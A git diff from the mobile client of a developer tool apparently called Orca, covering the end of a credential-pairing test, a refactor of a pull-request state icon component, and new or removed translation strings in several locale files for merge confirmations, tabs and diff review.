-      authorizationMode: 'authenticated-direct' as const,
-      currentVersion: 1,
-      resumeExpiresAt: 50_000
-    }
-    expect(() =>
-      promotePairingJournalCredential({
-        journal,
-        installed: { ...installed, reqId: 'other-request' }
-      })
-    ).toThrow(/does not match/)
-    expect(() =>
-      promotePairingJournalCredential({
-        journal,
-        installed: { ...installed, authorizationMode: 'relay-basis' }
-      })
-    ).toThrow(/does not match/)
-  })
-})
diff --git a/mobile/src/host-screen/workspace-details-sheet.tsx b/mobile/src/host-screen/workspace-details-sheet.tsx
index cdeab528d5e..e285c5b6480 100644
--- a/mobile/src/host-screen/workspace-details-sheet.tsx
+++ b/mobile/src/host-screen/workspace-details-sheet.tsx
@@ -5,9 +5,6 @@ import {
   CircleDot,
   ExternalLink,
   GitMerge,
-  GitPullRequest,
-  GitPullRequestClosed,
-  GitPullRequestDraft,
   SquareTerminal,
   StickyNote
 } from 'lucide-react-native'
@@ -15,6 +12,7 @@ import { colors, spacing, typography } from '../theme/mobile-theme'
 import { themedStyleSheet } from '../theme/themed-styles'
 import { useMobileColorScheme } from '../theme/use-mobile-color-scheme'
 import { prStateColor } from '../components/WorktreeMetaGlyphs'
+import { PrStateIcon } from '../components/PrStateIcon'
 import {
   LIST_LEADING_INSET,
   LIST_LEADING_SLOT,
@@ -135,20 +133,13 @@ function originLabel(origin: WorkspaceOrigin, t: Translate): string {
 
 function ReviewIcon({ item }: { item: WorkspaceDetailLink }) {
   useMobileColorScheme()
-  const color = prStateColor(item.state ?? '')
-  if (
-    item.state === 'merged' ||
-    (item.type === 'mr' && item.state !== 'closed' && item.state !== 'draft')
-  ) {
+  const state = item.state ?? ''
+  const color = prStateColor(state)
+  // GitLab draws every open MR with the merge glyph.
+  if (item.type === 'mr' && state !== 'closed' && state !== 'draft') {
     return <GitMerge size={ICON_SIZE} color={color} />
   }
-  if (item.state === 'closed') {
-    return <GitPullRequestClosed size={ICON_SIZE} color={color} />
-  }
-  if (item.state === 'draft') {
-    return <GitPullRequestDraft size={ICON_SIZE} color={color} />
-  }
-  return <GitPullRequest size={ICON_SIZE} color={color} />
+  return <PrStateIcon state={state} size={ICON_SIZE} color={color} />
 }
 
 function LinkIcon({ item }: { item: WorkspaceDetailLink }) {
diff --git a/mobile/src/i18n/locales/de.json b/mobile/src/i18n/locales/de.json
index c8c64c2cf93..0d48e6ab72e 100644
--- a/mobile/src/i18n/locales/de.json
+++ b/mobile/src/i18n/locales/de.json
@@ -2454,7 +2454,8 @@
     "tabStrip": {
       "checkingCapabilities": "Desktop-Funktionen werden geprüft – gleich erneut versuchen",
       "newTab": "Neuen Tab erstellen",
-      "quickCommandsUpdateRequired": "Desktop-Update für Schnellbefehle erforderlich"
+      "quickCommandsUpdateRequired": "Desktop-Update für Schnellbefehle erforderlich",
+      "tabStatus": "{{title}}, {{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "Terminal leeren",
@@ -3364,6 +3365,12 @@
   },
   "tasks": {
     "hostedMerge": {
+      "confirmGitHubMerge": "PR #{{number}} zusammenführen?",
+      "confirmGitHubSquash": "PR #{{number}} mit Squash zusammenführen?",
+      "confirmGitHubRebase": "PR #{{number}} mit Rebase zusammenführen?",
+      "confirmGitLabMerge": "Merge Request #{{number}} zusammenführen?",
+      "confirmGitLabSquash": "Merge Request #{{number}} mit Squash zusammenführen?",
+      "confirmGitLabRebase": "Merge Request #{{number}} mit Rebase zusammenführen?",
       "merged": "Zusammengeführt",
       "closed": "Geschlossen",
       "conflicts": "Konflikte",
diff --git a/mobile/src/i18n/locales/en.json b/mobile/src/i18n/locales/en.json
index f14faed6778..e3be23f7526 100644
--- a/mobile/src/i18n/locales/en.json
+++ b/mobile/src/i18n/locales/en.json
@@ -820,6 +820,8 @@
   "webShell": {
     "shellStateScreen": {
       "isolationUnavailable": "This device's WebView is too old to open the workspace safely.",
+      "isolationUnavailableAndroid": "Orca needs Android System WebView or Chrome 101 or newer. Update it from the Play Store, or pick a newer one in Developer options > WebView implementation.",
+      "webViewInUse": "This device has {{name}} {{version}}.",
       "downloadFailed": "The latest app could not be downloaded from this host.",
       "hostProfileUnreadable": "Could not read this host on your device. Try again.",
       "statusUnreadable": "Could not read this host's status. Go back and reopen it.",
@@ -2182,10 +2184,10 @@
       "renameTerminal": "Rename Terminal",
       "renameTerminalFailed": "Couldn't rename the terminal. {{reason}}",
       "terminalName": "Terminal name",
-      "allowAutoClose": "Allow Auto-Close",
-      "agents": "Agents"
+      "allowAutoClose": "Allow Auto-Close"
     },
     "tabStrip": {
+      "tabStatus": "{{title}}, {{status}}",
       "newTab": "New tab",
       "quickCommandsUpdateRequired": "Desktop update required for quick commands",
       "checkingCapabilities": "Checking desktop capabilities — try again in a moment"
@@ -2887,6 +2889,8 @@
     },
     "presentation": {
       "loadingTabs": "Loading tabs",
+      "oneTab": "1 tab",
+      "tabCount": "{{tabCount}} tabs",
       "tapToRetry": "{{status}} — tap to retry"
     },
     "documentReaders": {
@@ -2924,29 +2928,6 @@
       "skip": "Skip",
       "stop": "Stop",
       "yes": "Yes"
-    },
-    "tabsSheet": {
-      "needsYou": "Needs you",
-      "working": "Working",
-      "everythingElse": "Everything else",
-      "open": "Open",
-      "closeTab": "Close {{title}}"
-    },
-    "tabRows": {
-      "browser": "Browser",
-      "markdown": "Markdown note",
-      "file": "File",
-      "chat": "Chat",
-      "terminal": "Terminal"
-    },
-    "tabBar": {
-      "oneTab": "1 tab",
-      "tabCount": "{{count}} tabs",
-      "anotherNeedsYou": "another tab needs you",
-      "actionsHint": "Shows actions for this tab",
-      "next": "Next tab",
-      "previous": "Previous tab",
-      "hint": "Shows all tabs"
     }
   },
   "chat": {
@@ -3482,7 +3463,12 @@
       "commitThenPullPush": "Commit, then pull and push",
       "resolveConflicts": "Resolve conflicts before committing",
       "stageFile": "Stage at least one file to commit",
-      "enterMessage": "Enter a commit message to commit"
+      "enterMessage": "Enter a commit message to commit",
+      "statusConflicts": "Conflicts",
+      "statusNothingStaged": "Nothing staged",
+      "statusNeedsMessage": "Needs message",
+      "statusNotPublished": "Not published",
+      "statusNoBranch": "No branch"
     },
     "createPrAction": {
       "createReview": "Create {{titleLabel}}",
@@ -3559,7 +3545,15 @@
       "nothingToPushTo": "Nothing to push to {{upstreamName}}",
       "nothingToForcePushTo": "Nothing to force push to {{upstreamName}}",
       "rebaseFromNamedBase": "Rebase from {{baseRef}}",
-      "rebaseWithLatestFrom": "Rebase current branch with latest commits from {{baseRef}}"
+      "rebaseWithLatestFrom": "Rebase current branch with latest commits from {{baseRef}}",
+      "statusUpToDate": "Up to date",
+      "statusSetsUpstream": "Sets upstream",
+      "statusNotPublished": "Not published",
+      "statusNoBranch": "No branch",
+      "statusMayFail": "May fail",
+      "statusPublished": "Published",
+      "statusStashFirst": "Stash first",
+      "statusReplaces": "Replaces ↓{{behind}}"
     },
     "actions": {
       "createPr": "Create PR",
@@ -4559,6 +4553,12 @@
       "createFailed": "Failed to create workspace"
     },
     "hostedMerge": {
+      "confirmGitHubMerge": "Merge PR #{{number}}?",
+      "confirmGitHubSquash": "Squash and merge PR #{{number}}?",
+      "confirmGitHubRebase": "Rebase and merge PR #{{number}}?",
+      "confirmGitLabMerge": "Merge merge request #{{number}}?",
+      "confirmGitLabSquash": "Squash and merge merge request #{{number}}?",
+      "confirmGitLabRebase": "Rebase and merge merge request #{{number}}?",
       "merged": "Merged",
       "closed": "Closed",
       "conflicts": "Conflicts",
diff --git a/mobile/src/i18n/locales/es.json b/mobile/src/i18n/locales/es.json
index 78f372f2264..3c85874971d 100644
--- a/mobile/src/i18n/locales/es.json
+++ b/mobile/src/i18n/locales/es.json
@@ -2524,7 +2524,8 @@
     "tabStrip": {
       "checkingCapabilities": "Comprobando las funciones del escritorio. Inténtalo de nuevo en un momento.",
       "newTab": "Nueva pestaña",
-      "quickCommandsUpdateRequired": "Actualiza el escritorio para usar los comandos rápidos."
+      "quickCommandsUpdateRequired": "Actualiza el escritorio para usar los comandos rápidos.",
+      "tabStatus": "{{title}}, {{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "Limpiar terminal",
@@ -3452,6 +3453,12 @@
   },
   "tasks": {
     "hostedMerge": {
+      "confirmGitHubMerge": "¿Fusionar el PR #{{number}}?",
+      "confirmGitHubSquash": "¿Compactar y fusionar el PR #{{number}}?",
+      "confirmGitHubRebase": "¿Hacer rebase y fusionar el PR #{{number}}?",
+      "confirmGitLabMerge": "¿Fusionar la solicitud de merge #{{number}}?",
+      "confirmGitLabSquash": "¿Compactar y fusionar la solicitud de merge #{{number}}?",
+      "confirmGitLabRebase": "¿Hacer rebase y fusionar la solicitud de merge #{{number}}?",
       "merged": "Fusionado",
       "closed": "Cerrado",
       "conflicts": "Conflictos",
diff --git a/mobile/src/i18n/locales/fr.json b/mobile/src/i18n/locales/fr.json
index 20d2d3b5828..bcac91b25ec 100644
--- a/mobile/src/i18n/locales/fr.json
+++ b/mobile/src/i18n/locales/fr.json
@@ -2524,7 +2524,8 @@
     "tabStrip": {
       "checkingCapabilities": "Vérification des fonctionnalités de l'ordinateur — réessayez dans un instant",
       "newTab": "Nouvel onglet",
-      "quickCommandsUpdateRequired": "Mettez à jour Orca sur l'ordinateur pour utiliser les commandes rapides"
+      "quickCommandsUpdateRequired": "Mettez à jour Orca sur l'ordinateur pour utiliser les commandes rapides",
+      "tabStatus": "{{title}}, {{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "Effacer le terminal",
@@ -3452,6 +3453,12 @@
   },
   "tasks": {
     "hostedMerge": {
+      "confirmGitHubMerge": "Fusionner la PR nº {{number}} ?",
+      "confirmGitHubSquash": "Compresser les commits et fusionner la PR nº {{number}} ?",
+      "confirmGitHubRebase": "Rebaser et fusionner la PR nº {{number}} ?",
+      "confirmGitLabMerge": "Fusionner la demande de fusion nº {{number}} ?",
+      "confirmGitLabSquash": "Compresser les commits et fusionner la demande de fusion nº {{number}} ?",
+      "confirmGitLabRebase": "Rebaser et fusionner la demande de fusion nº {{number}} ?",
       "merged": "Fusionné",
       "closed": "Fermé",
       "conflicts": "Conflits",
diff --git a/mobile/src/i18n/locales/ja.json b/mobile/src/i18n/locales/ja.json
index c6ee2e0fa4f..1d47e857681 100644
--- a/mobile/src/i18n/locales/ja.json
+++ b/mobile/src/i18n/locales/ja.json
@@ -2450,7 +2450,8 @@
     "tabStrip": {
       "checkingCapabilities": "デスクトップの対応機能を確認中です。少し待ってから再試行してください。",
       "newTab": "新規タブ",
-      "quickCommandsUpdateRequired": "クイックコマンドの利用にはデスクトップの更新が必要です。"
+      "quickCommandsUpdateRequired": "クイックコマンドの利用にはデスクトップの更新が必要です。",
+      "tabStatus": "{{title}}、{{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "ターミナルをクリア",
@@ -3440,6 +3441,12 @@
       "openView": "GitHub でビューを開く"
     },
     "hostedMerge": {
+      "confirmGitHubMerge": "PR #{{number}} をマージしますか？",
+      "confirmGitHubSquash": "PR #{{number}} のコミットをまとめてマージしますか？",
+      "confirmGitHubRebase": "PR #{{number}} をリベースしてマージしますか？",
+      "confirmGitLabMerge": "マージリクエスト #{{number}} をマージしますか？",
+      "confirmGitLabSquash": "マージリクエスト #{{number}} のコミットをまとめてマージしますか？",
+      "confirmGitLabRebase": "マージリクエスト #{{number}} をリベースしてマージしますか？",
       "merged": "マージ済み",
       "closed": "クローズ済み",
       "conflicts": "競合あり",
diff --git a/mobile/src/i18n/locales/ko.json b/mobile/src/i18n/locales/ko.json
index 2b51f3ce5ae..0d561688f68 100644
--- a/mobile/src/i18n/locales/ko.json
+++ b/mobile/src/i18n/locales/ko.json
@@ -2450,7 +2450,8 @@
     "tabStrip": {
       "checkingCapabilities": "데스크톱에서 지원하는 기능을 확인 중입니다. 잠시 후 다시 시도하세요.",
       "newTab": "새 탭",
-      "quickCommandsUpdateRequired": "빠른 명령을 사용하려면 데스크톱 업데이트가 필요합니다."
+      "quickCommandsUpdateRequired": "빠른 명령을 사용하려면 데스크톱 업데이트가 필요합니다.",
+      "tabStatus": "{{title}}, {{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "터미널 지우기",
@@ -3360,6 +3361,12 @@
   },
   "tasks": {
     "hostedMerge": {
+      "confirmGitHubMerge": "PR #{{number}}을(를) 병합하시겠습니까?",
+      "confirmGitHubSquash": "PR #{{number}}의 커밋을 합쳐서 병합하시겠습니까?",
+      "confirmGitHubRebase": "PR #{{number}}을(를) 리베이스한 후 병합하시겠습니까?",
+      "confirmGitLabMerge": "병합 요청 #{{number}}을(를) 병합하시겠습니까?",
+      "confirmGitLabSquash": "병합 요청 #{{number}}의 커밋을 합쳐서 병합하시겠습니까?",
+      "confirmGitLabRebase": "병합 요청 #{{number}}을(를) 리베이스한 후 병합하시겠습니까?",
       "merged": "병합됨",
       "closed": "닫힘",
       "conflicts": "충돌",
diff --git a/mobile/src/i18n/locales/pt.json b/mobile/src/i18n/locales/pt.json
index 0d4a2150210..a771d8fb340 100644
--- a/mobile/src/i18n/locales/pt.json
+++ b/mobile/src/i18n/locales/pt.json
@@ -17,7 +17,8 @@
       "switchFailed": "Não foi possível trocar de conta",
       "title": "Contas",
       "useReset": "Redefinir agora",
-      "weeklyWindow": "7d"
+      "weeklyWindow": "7d",
+      "pairingInvalidMessage": "Emparelhe novamente este telefone com seu desktop para ver suas contas."
     }
   },
   "agentHistory": {
@@ -40,7 +41,11 @@
       "unknownHostPlatform": "Não foi possível determinar a plataforma do host.",
       "updateHost": "Atualize o Orca neste host para consultar o histórico de sessões de agente.",
       "waitingForHost": "Aguardando host…",
-      "workspace": "Espaço de Trabalho"
+      "workspace": "Espaço de Trabalho",
+      "hideDetails": "Ocultar detalhes",
+      "showDetails": "Mostrar detalhes",
+      "dismissNotice": "Descartar",
+      "loading": "Carregando sessões do agente…"
     },
     "resumeTarget": {
       "differentHost": "Esta sessão pertence a um host diferente. Abra um espaço de trabalho no mesmo host para retomá-la.",
@@ -55,7 +60,10 @@
       "messages_many": "{{count}} mensagens",
       "messages_one": "{{count}} mensagem",
       "messages_other": "{{count}} mensagens",
-      "resumeSession": "Retomar sessão de agente"
+      "resumeSession": "Retomar sessão de agente",
+      "hidePreview": "Oculta as mensagens recentes.",
+      "showPreview": "Mostra as mensagens recentes.",
+      "you": "Você"
     },
     "useAgentHistoryState": {
       "hostUnreachable": "Não foi possível acessar o host",
@@ -65,6 +73,9 @@
     "worktreeNavigationActions": {
       "agentSessionHistory": "Histórico de Sessões de Agente",
       "sourceControl": "Controle de Código-Fonte"
+    },
+    "resume": {
+      "hostConnectionChanged": "A conexão com o host mudou. Tente retomar a sessão."
     }
   },
   "app": {
@@ -165,6 +176,13 @@
     "viewModeSwitch": {
       "mobileView": "Mostrar versão do site para celular",
       "webView": "Mostrar versão do site para computador"
+    },
+    "stream": {
+      "updateApp": "Atualize o aplicativo Orca para transmitir as guias do navegador aqui.",
+      "updateDesktop": "Atualize o Orca para desktop para transmitir as guias do navegador no celular.",
+      "checking": "Verificando o suporte de streaming do navegador de desktop.",
+      "pageUnavailable": "A página do navegador ainda não está disponível.",
+      "timedOut": "A transmissão do navegador expirou."
     }
   },
   "chat": {
@@ -407,7 +425,8 @@
       "toggleOption": "Alternar {{value0}}",
       "ultra": "Ultra",
       "xhigh": "Extra alto",
-      "xhighShort": "Extra alto"
+      "xhighShort": "Extra alto",
+      "ultracode": "Ultracode"
     },
     "sessionOptionPickers": {
       "agentWorking": "O agente está trabalhando",
@@ -418,7 +437,9 @@
       "permissions": "Permissões",
       "permissionsLabel": "Permissões, {{value}}",
       "settingsLocked": "As configurações do modelo serão desbloqueadas quando este turno terminar.",
-      "workingAnnouncement": "O agente está trabalhando. As configurações do modelo serão desbloqueadas quando este turno terminar."
+      "workingAnnouncement": "O agente está trabalhando. As configurações do modelo serão desbloqueadas quando este turno terminar.",
+      "applying": "Aplicando…",
+      "optionsSection": "Opções"
     },
     "sessionOptionRows": {
       "defaultMarker": "Padrão",
@@ -617,7 +638,12 @@
     },
     "agentMessage": {
       "handedOffToAgent": "Entregue a um agente",
-      "startedAgent": "Agente iniciado"
+      "startedAgent": "Agente iniciado",
+      "startedWorker": "Worker iniciado",
+      "taskFromCoordinator": "Tarefa do coordenador",
+      "messageFromCoordinator": "Mensagem do coordenador",
+      "updateFromWorker": "Atualização do worker",
+      "messageFrom": "Mensagem de"
     },
     "textAttachmentPreview": {
       "unreadableReply": "A resposta do anexo não pode ser lida. Tente novamente.",
@@ -706,7 +732,22 @@
     "retry": "Tentar novamente",
     "save": "Salvar",
     "settings": "Configurações",
-    "unknown": "Desconhecido"
+    "unknown": "Desconhecido",
+    "loadError": {
+      "title": "Não foi possível carregar",
+      "generic": "Algo deu errado. Tente novamente.",
+      "unreachable": "Não foi possível conectar ao computador. Tente novamente."
+    },
+    "offline": {
+      "waitingFor": "Esperando por {{host}}",
+      "waiting": "Aguardando o computador",
+      "message": "Verifique se o seu computador está ativado e se o Orca está em execução.",
+      "reconnect": "Reconectar"
+    },
+    "noMatch": {
+      "title": "Nenhuma correspondência",
+      "clearSearch": "Limpar busca"
+    }
   },
   "components": {
     "accountsSnapshot": {
@@ -821,7 +862,12 @@
       "noReviewableChanges": "Nenhuma alteração para revisar",
       "reviewUnavailable": "Revisão indisponível",
       "selectFile": "Selecione um arquivo para revisar.",
-      "tooLargeMessage": "Este diff é grande demais para a prévia no celular."
+      "tooLargeMessage": "Este diff é grande demais para a prévia no celular.",
+      "showUnchangedLines": "Mostrar {{count}} linhas inalteradas",
+      "unchangedLines_one": "{{count}} linha inalterada",
+      "unchangedLines_other": "{{count}} linhas inalteradas",
+      "allStaged": "Tudo foi preparado para commit",
+      "unchangedLines_many": "{{count}} linhas inalteradas"
     },
     "diffReviewDrawers": {
       "addNote": "Adicionar nota",
@@ -849,20 +895,48 @@
       "unsentNotes_many": "{{count}} notas não enviadas",
       "unsentNotes_one": "{{count}} nota não enviada",
       "unsentNotes_other": "{{count}} notas não enviadas",
-      "updateRequired": "Atualize o Orca no seu computador"
+      "updateRequired": "Atualize o Orca no seu computador",
+      "viewedFiles_one": "{{count}} arquivo visualizado",
+      "viewedFiles_other": "{{count}} arquivos visualizados",
+      "notes_one": "{{count}} nota",
+      "notes_other": "{{count}} notas",
+      "allViewedTitle": "Todos os arquivos visualizados",
+      "unstageFile": "Remover do stage",
+      "addFileNote": "Adicionar nota de arquivo",
+      "pullRequest": "Pull request",
+      "discardChanges": "Descartar alterações",
+      "rangeLine": "Linha {{line}}",
+      "rangeLines": "Linhas {{startLine}}–{{line}}",
+      "sendToAnAgent": "Enviar para agente",
+      "rangePlaceholder": "O que deve mudar aqui?",
+      "commentOnGitHub": "Comente no GitHub",
+      "sendToAgent": "Enviar para {{agent}}",
+      "viewedFiles_many": "{{count}} arquivos visualizados",
+      "notes_many": "{{count}} notas"
     },
     "diffReviewFileSummary": {
       "changed": "Alterado",
       "editFileNote": "Editar nota do arquivo",
-      "stale": "Desatualizada"
+      "stale": "Desatualizada",
+      "untracked": "Não rastreado",
+      "notStaged": "Não preparado",
+      "viewed": "Visualizado",
+      "renamedFrom": "Renomeado de {{oldPath}}",
+      "threadsWhenInSync_one": "O comentário no GitHub aparecerá aqui quando esta branch corresponder ao pull request.",
+      "threadsWhenInSync_other": "Os {{count}} comentários no GitHub aparecerão aqui quando esta branch corresponder ao pull request.",
+      "threadsWhenInSync_many": "Os {{count}} comentários no GitHub aparecerão aqui quando esta branch corresponder ao pull request."
     },
     "diffReviewFooter": {
       "nextFile": "Próximo arquivo",
-      "previousFile": "Arquivo anterior"
+      "previousFile": "Arquivo anterior",
+      "stageNext": "Preparar · próximo arquivo",
+      "viewedNext": "Visualizado · próximo arquivo",
+      "nextFileButton": "Próximo arquivo"
     },
     "diffReviewHeader": {
       "openReviewActions": "Abrir ações de revisão",
-      "title": "Alterações"
+      "title": "Alterações",
+      "jumpToFile": "{{fileName}}, pule para outro arquivo"
     },
     "diffReviewLine": {
       "addNoteOnLine": "Adicionar nota na linha {{number}}",
@@ -956,7 +1030,11 @@
       "noProjectsFound": "Nenhum projeto encontrado",
       "note": "Nota",
       "notePlaceholder": "Escreva uma nota",
-      "workspaceName": "Nome do espaço de trabalho"
+      "workspaceName": "Nome do espaço de trabalho",
+      "options": "Opções",
+      "createWorkspace": "Criar espaço de trabalho",
+      "startFrom": "Iniciar a partir de",
+      "loadingProjects": "Carregando projetos…"
     },
     "newWorktreeModal": {
       "remoteRepository": "Repositório remoto"
@@ -970,7 +1048,8 @@
       "project": "Projeto",
       "runOn": "Executar em",
       "selectProject": "Selecione um projeto",
-      "selectRunTarget": "Selecione um destino de execução"
+      "selectRunTarget": "Selecione um destino de execução",
+      "where": "Onde"
     },
     "prSidebar": {
       "loading": "Carregando pull request…",
@@ -1027,7 +1106,12 @@
       "runHooks": "Executar hooks",
       "runSetupTitle": "Executar a configuração de {{repoName}}?",
       "scriptChangedTitle": "O script de configuração de {{repoName}} foi alterado",
-      "scriptLabel": "Script de configuração"
+      "scriptLabel": "Script de configuração",
+      "runArchiveTitle": "Executar o script de arquivamento de {{repoName}}?",
+      "archiveScriptChangedTitle": "O script de arquivamento de {{repoName}} foi alterado",
+      "archiveDescription": "O orca.yaml deste repositório é executado antes que o espaço de trabalho seja excluído. Execute-o apenas se você confiar neste repositório.",
+      "archiveScriptLabel": "Script de arquivamento",
+      "newArchiveScriptLabel": "Novo script de arquivamento"
     },
     "smartWorkspaceAdvancedFields": {
       "branchName": "Nome da branch",
@@ -1042,11 +1126,15 @@
       "noResults": "Nenhum resultado encontrado.",
       "searchPlaceholder": "Digite um nome ou busque uma origem",
       "switchRepo": "Mudar para {{repoName}}",
-      "typeWorkspaceName": "Digite um nome para o espaço de trabalho no campo abaixo."
+      "typeWorkspaceName": "Digite um nome para o espaço de trabalho no campo abaixo.",
+      "workspaceName": "Nome do espaço de trabalho",
+      "startFrom": "Iniciar a partir de"
     },
     "smartWorkspaceSourceField": {
       "openSelectedSource": "Abrir origem selecionada",
-      "searchPlaceholder": "Digite um nome ou busque uma origem"
+      "searchPlaceholder": "Digite um nome ou busque uma origem",
+      "optionalLabel": "Opcional",
+      "clearSelectedSource": "Limpar origem selecionada"
     },
     "smartWorkspaceSourceRow": {
       "createBranch": "Criar branch \"{{name}}\"",
@@ -1140,7 +1228,41 @@
       "composer": {
         "planMode": "Plano",
         "exitPlanMode": "Sair do modo de planejamento"
+      },
+      "turnDiff": {
+        "changedFiles_one": "{{count}} arquivo alterado",
+        "changedFiles_other": "{{count}} arquivos alterados",
+        "partial": "Diff parcial",
+        "showMoreFiles": "Mostrar mais {{count}}",
+        "changedFiles_many": "{{count}} arquivos alterados"
       }
+    },
+    "pullDownMenu": {
+      "close": "Fechar menu"
+    },
+    "bottomSearchBar": {
+      "closeSearch": "Fechar busca"
+    },
+    "sheetHeader": {
+      "close": "Fechar"
+    },
+    "worktreeAgentList": {
+      "hideChildAgents_one": "Ocultar {{count}} agente filho",
+      "hideChildAgents_other": "Ocultar {{count}} agentes filhos",
+      "showChildAgents_one": "Mostrar {{count}} agente filho",
+      "showChildAgents_other": "Mostrar {{count}} agentes filhos",
+      "hideIdleChildren": "Ocultar {{count}} agentes filhos inativos",
+      "showIdleChildren": "Mostrar {{count}} agentes filhos ociosos",
+      "idleChildCount": "{{count}} ocioso",
+      "hideChildAgents_many": "Ocultar {{count}} agentes filhos",
+      "showChildAgents_many": "Mostrar {{count}} agentes filhos"
+    },
+    "diffReviewFilesSheet": {
+      "title": "Arquivos",
+      "search": "Ir para o arquivo",
+      "noMatches": "Nenhum arquivo corresponde",
+      "current": "atual",
+      "viewedFile": "{{path}} visualizado"
     }
   },
   "connection": {
@@ -1412,7 +1534,11 @@
       "loadFailed": "Não foi possível carregar os arquivos",
       "title": "Arquivos",
       "truncatedList": "{{worktreeLabel}} - Mostrando os primeiros 5000",
-      "waiting": "Aguardando o desktop…"
+      "waiting": "Aguardando o desktop…",
+      "filterPlaceholder": "Filtrar arquivos",
+      "noMatchesHint": "Somente as pastas que você abriu serão pesquisadas.",
+      "clearFilter": "Limpar filtro",
+      "loading": "Carregando arquivos…"
     },
     "fileExplorerRow": {
       "fileUnavailable": "{{name}} indisponível no celular",
@@ -1437,7 +1563,9 @@
       "copyLoadedSource": "Copiar código-fonte Markdown carregado",
       "copySource": "Copiar código-fonte Markdown",
       "viewPreview": "Ver pré-visualização renderizada do Markdown",
-      "viewSource": "Ver código-fonte Markdown"
+      "viewSource": "Ver código-fonte Markdown",
+      "previewMode": "Pré-visualizar",
+      "sourceMode": "Origem"
     },
     "fileMediaPreview": {
       "downloading": "Baixando {{bytes}} de {{total}}",
@@ -1513,7 +1641,8 @@
     "appUpdateCard": {
       "dismissAccessibilityLabel": "Descartar atualização do Orca {{version}}",
       "title": "Orca {{version}} está disponível",
-      "updateAccessibilityLabel": "Orca {{version}} está disponível, toque para atualizar"
+      "updateAccessibilityLabel": "Orca {{version}} está disponível, toque para atualizar",
+      "update": "Atualizar"
     },
     "automationsTab": {
       "connectDesktop": "Conecte {{desktop}} para ver e executar automações.",
@@ -1536,7 +1665,9 @@
       "openDesktopDescription": "Vá para Configurações → Mobile e gere um código QR de pareamento.",
       "openDesktopTitle": "Abra o Orca no desktop",
       "scanCodeTitle": "Escaneie o código",
-      "title": "Conecte seu desktop"
+      "title": "Conecte seu desktop",
+      "pairDesktopButton": "Emparelhar computador",
+      "scanCodeBelowDescription": "Toque em Emparelhar computador abaixo e aponte a câmera para o código QR na tela."
     },
     "listFooter": {
       "hostPickerTitle": "Abrir tarefas em"
@@ -1577,6 +1708,18 @@
       "showUsageFor": "Mostrar uso de",
       "updatedAgo": "Atualizado há {{time}}",
       "updatedJustNow": "Atualizado agora mesmo"
+    },
+    "bottomBar": {
+      "connectFirst": "Conecte um computador para iniciar um novo trabalho.",
+      "newWorkspace": "Novo espaço de trabalho"
+    },
+    "desktops": {
+      "pairDesktop": "Emparelhe um computador"
+    },
+    "jumpBackIn": {},
+    "sections": {
+      "tasks": "Tarefas",
+      "tasksSubtitle": "Explore suas issues e revisões"
     }
   },
   "hooks": {
@@ -1608,7 +1751,8 @@
       "name": "Nome",
       "saveFailed": "Falha ao salvar o host.",
       "saveHost": "Salvar host",
-      "title": "Editar host"
+      "title": "Editar host",
+      "removeHost": "Remover host"
     }
   },
   "hostScreen": {
@@ -1629,7 +1773,8 @@
       "hideSidebar": "Ocultar barra lateral",
       "reconnect": "Reconectar",
       "tasks": "Tarefas",
-      "automations": "Automações"
+      "automations": "Automações",
+      "moreActions": "Mais ações"
     },
     "hostScreenOverlays": {
       "deleteConfirmMessage": "Excluir \"{{name}}\" ({{branch}})?",
@@ -1642,7 +1787,9 @@
       "removeHostMessage": "Remover \"{{name}}\"? Você pode parear novamente mais tarde.",
       "sleep": "Suspender",
       "unpin": "Desafixar",
-      "rename": "Renomear"
+      "rename": "Renomear",
+      "deleteFailed": "Falha ao excluir \"{{name}}\"",
+      "deleteAnyway": "Excluir Mesmo Assim"
     },
     "workspaceDetailsSheet": {
       "checksFailing": "Verificações: com falha",
@@ -1723,13 +1870,26 @@
       "syncedAcrossDevices": "Sincronizadas entre seus dispositivos",
       "thisComputer": "Este computador",
       "waitingForDesktop": "Ainda aguardando o desktop",
-      "workspaceOptions": "Opções do espaço de trabalho"
+      "workspaceOptions": "Opções do espaço de trabalho",
+      "done": "Concluído",
+      "reset": "Restaurar"
     },
     "workspaceRenameSheet": {
       "title": "Renomear espaço de trabalho",
       "emptyUsesBranch": "Deixe em branco para usar o nome da branch.",
       "emptyUsesFolder": "Deixe em branco para usar o nome da pasta.",
       "failed": "Não foi possível renomear o espaço de trabalho. {{reason}}"
+    },
+    "hostBottomBar": {
+      "workspaceOptions": "Opções do espaço de trabalho",
+      "activeFilters_one": "Opções do espaço de trabalho ({{count}} filtro ativo)",
+      "activeFilters_other": "Opções do espaço de trabalho ({{count}} filtros ativos)",
+      "searchWorkspaces": "Buscar espaços de trabalho",
+      "newWorkspace": "Novo espaço de trabalho",
+      "activeFilters_many": "Opções do espaço de trabalho ({{count}} filtros ativos)"
+    },
+    "identity": {
+      "hostNotFound": "Host não encontrado"
     }
   },
   "navigation": {
@@ -1768,7 +1928,9 @@
       "onlyWhenAwayHint": "Após 3 minutos sem atividade do teclado ou mouse, ou quando o desktop estiver bloqueado.",
       "sound": "Som de notificação",
       "suppressWhileFocused": "Suprimir enquanto em foco",
-      "suppressWhileFocusedHint": "Não enviar alertas do espaço de trabalho aberto neste celular."
+      "suppressWhileFocusedHint": "Não enviar alertas do espaço de trabalho aberto neste celular.",
+      "onlyWhenAgentNeedsInput": "Somente quando um agente precisa de mim",
+      "onlyWhenAgentNeedsInputHint": "Solicitações de permissão e perguntas. Ignora agentes finalizados."
     }
   },
   "onboarding": {
@@ -1825,7 +1987,15 @@
       "unresolve": "Reabrir",
       "yearsAgo_many": "há {{count}} anos",
       "yearsAgo_one": "há {{count}} ano",
-      "yearsAgo_other": "há {{count}} anos"
+      "yearsAgo_other": "há {{count}} anos",
+      "resolved": "resolvido",
+      "openOnGitHub": "Abrir comentário no GitHub",
+      "replyToComment": "Responder ao comentário",
+      "editComment": "Editar comentário",
+      "deleteComment": "Excluir comentário",
+      "unresolveThread": "Reabrir discussão",
+      "resolveThread": "Resolver thread",
+      "replyPlaceholder": "Escreva uma resposta…"
     },
     "commentsSection": {
       "comment": "Comentar",
@@ -1834,7 +2004,20 @@
       "noComments": "Ainda não há comentários.",
       "noDescription": "Nenhuma descrição fornecida.",
       "showMore": "Mostrar mais {{count}}",
-      "title": "Comentários"
+      "title": "Comentários",
+      "all": "Todos",
+      "humans": "Humanos",
